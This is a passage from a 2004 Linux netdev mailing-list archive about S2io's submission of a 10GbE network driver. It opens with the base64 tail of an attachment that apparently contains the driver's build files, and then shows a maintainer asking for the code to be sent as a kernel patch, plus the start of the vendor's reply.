YnVzX3dyaXRlX2NvbmZpZ19ieXRlAF9fdWRpdnNpMwBzMmlvX2Nsb3NlAHBjaV91bnJlZ2lzdGVy X2RyaXZlcgBpbml0X21vZHVsZQBGaXhNYWNBZGRyZXNzAGV0aF90eXBlX3RyYW5zAHMyaW9fb3Bl bgBfX3Vtb2RkaTMAc2NoZWR1bGVfdGltZW91dAByZXF1ZXN0X2lycQBfX3VkaXZkaTMAaWE2NF9z cGlubG9ja19jb250ZW50aW9uX3ByZTNfNABwY2lfYnVzX3JlYWRfY29uZmlnX3dvcmQAczJpb19n ZXRfc3RhdHMAa21lbV9jYWNoZV9hbGxvYwBza2Jfb3Zlcl9wYW5pYwBwZXJfY3B1X19sb2NhbF9w ZXJfY3B1X29mZnNldABfX3Bhcm1fZmlmb19sZW4AdGFza2xldF9raWxsAF9fdW1vZHNpMwBzYmFf YWxsb2NfY29oZXJlbnQAZ2V0X3hlbmFfcmV2X2lkAF9fbW9kX3BjaV9kZXZpY2VfdGFibGUAczJp b19yZXNldABtb2RfdGltZXIAdGFza2xldF9pbml0AGRldl9yZW1vdmVfcGFjawBfX3Bhcm1fcmlu Z19udW0AX19wYXJtX3JpbmdfbGVuAHNiYV91bm1hcF9zaW5nbGUAaW52AHJlZ2lzdGVyX25ldGRl dgBzdHJuY3B5AF9fdGFza2xldF9zY2hlZHVsZQBmcmVlX25ldGRldgBhbGxvY19za2IAcHJpbnRr AHMyaW9fc2V0X21hY19hZGRyAHBjaV9yZXN0b3JlX3N0YXRlAHBjaV9zZXRfZG1hX21hc2sAczJp b19jbG9zZXIAbWVtc2V0AGRlbF90aW1lcl9zeW5jAHBjaV9zZXRfbWFzdGVyAF9fcGFybV9sYXRl bmN5X3RpbWVyAF9fY29weV91c2VyAG5ldGlmX3J4AHJ4T3NtSGFuZGxlcgBqaWZmaWVzAHJlc2V0 X2xvb3BiYWNrAF9fcGFybV9mcmFtZV9sZW4AX19uZXRkZXZfd2F0Y2hkb2dfdXAAcGNpX2J1c193 cml0ZV9jb25maWdfd29yZAByYWlzZV9zb2Z0aXJxX2lycW9mZgBzMmlvX3NldF9zd2FwcGVyAHNl bmRfdGVzdEZybXMAbGlua3dhdGNoX2ZpcmVfZXZlbnQAczJpb190eF93YXRjaGRvZwBwY2lfcmVs ZWFzZV9yZWdpb25zAHMyaW9feG1pdABzMmlvX2lvY3RsAHNldHVwX2xvb3BiYWNrAF9fcGFybV9y eF9wcmlvAHBjaV9kaXNhYmxlX2RldmljZQBzMmlvX3NldF9tdWx0aWNhc3QAbWFsbG9jX3NpemVz AHMyaW9fY2hhbmdlX210dQBfX21vZHNpMwBfX3Bhcm1fdHhfcHJpbwBzMmlvX3Rhc2tsZXQAYWxs b2NfZXRoZXJkZXYAZnJlZVR4QnVmZmVycwBtZW1fbWFwAGZpbGxfcnhfYnVmZmVycwBfX2tmcmVl X3NrYgBzMmlvX3N0YXJ0ZXIAX19rbWFsbG9jAHBjaV9idXNfcmVhZF9jb25maWdfYnl0ZQBfX3Bh cm1fZmlmb19udW0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAuLy5zMmlvLmtvLmNtZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMDEw MDY0NAAwMDAwMDAwADAwMDAwMDAAMDAwMDAwMDA0MTMAMTAwMDMzNjM2MTYAMDExNzM1ACAwAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHVzdGFyICAAcm9vdAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAByb290AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAGNtZF8vaG9tZS94ZnJhbWVfZHJ2LzAxMjAwNC9zMmlvL2xpbnV4L21vbm9saXRo L3NyYy9zMmlvLmtvIDo9IGxkICAtciAtVCBhcmNoL2lhNjQvbW9kdWxlLmxkcyAtbyAvaG9tZS94 ZnJhbWVfZHJ2LzAxMjAwNC9zMmlvL2xpbnV4L21vbm9saXRoL3NyYy9zMmlvLmtvIC9ob21lL3hm cmFtZV9kcnYvMDEyMDA0L3MyaW8vbGludXgvbW9ub2xpdGgvc3JjL3MyaW8ubyAvaG9tZS94ZnJh bWVfZHJ2LzAxMjAwNC9zMmlvL2xpbnV4L21vbm9saXRoL3NyYy9zMmlvLm1vZC5vCgAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== ------=_NextPart_000_0023_01C3E1B3.EB5556E0-- From shemminger@osdl.org Fri Jan 23 13:54:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 23 Jan 2004 13:54:45 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0NLsW7J029201 for ; Fri, 23 Jan 2004 13:54:32 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0NLsEo11442; Fri, 23 Jan 2004 13:54:15 -0800 Date: Fri, 23 Jan 2004 13:54:14 -0800 From: Stephen Hemminger To: "Leonid Grossman" Cc: Subject: Re: Submission for S2io 10GbE driver Message-Id: <20040123135414.0436f90c.shemminger@osdl.org> In-Reply-To: <002201c3e1f6$f97896e0$5d50ff11@S2IOtech.com> References: <002201c3e1f6$f97896e0$5d50ff11@S2IOtech.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2708 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev On Fri, 23 Jan 2004 13:22:11 -0800 "Leonid Grossman" wrote: > Hi all, > Please fund attached a source code for S2io 10GbE adapter (with some > disclaimers below). > Send me your comments/suggestions on the source please, and we will > address the code changes (if any) in real time. > > Regards, Leonid > > > > Leonid Grossman > Vice President, SW Engineering > S2io Inc. > www.s2io.com Okay, but next time how about only sending the source of the driver as a kernel patch. Not a whole build directory including binaries and CVS! From leonid.grossman@s2io.com Fri Jan 23 13:59:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 23 Jan 2004 13:59:22 -0800 (PST) Received: from ns1.s2io.com (ns1.s2io.com [216.209.86.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0NLx97J029637 for ; Fri, 23 Jan 2004 13:59:09 -0800 Received: from guinness.s2io.com (gateway.s2io.com [216.209.86.98]) by ns1.s2io.com (8.12.10/8.12.10) with ESMTP id i0NLwsFG006833; Fri, 23 Jan 2004 16:58:54 -0500 (EST) Received: from lgt40 ([10.16.16.115]) by guinness.s2io.com (8.12.6/8.12.6) with ESMTP id i0NLwrKK017961; Fri, 23 Jan 2004 16:58:53 -0500 (EST) From: "Leonid Grossman" To: "'Stephen Hemminger'" Cc: Subject: RE: Submission for S2io 10GbE driver Date: Fri, 23 Jan 2004 13:58:14 -0800 Message-ID: <003701c3e1fc$005e3cd0$5d50ff11@S2IOtech.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 In-Reply-To: <20040123135414.0436f90c.shemminger@osdl.org> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Importance: Normal X-Spam-Score: -106.2 X-Spam-Outlook-Score: () X-Spam-Features: BAYES_01,IN_REP_TO,QUOTED_EMAIL_TEXT,USER_IN_WHITELIST X-Scanned-By: MIMEDefang 2.34 X-archive-position: 2709 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: leonid.grossman@s2io.com Precedence: bulk X-list: netdev > -----Original Message----- > From: Stephen Hemminger [mailto:shemminger@osdl.org] > Sent: Friday, January 23, 2004 1:54 PM > To: Leonid Grossman > Cc: 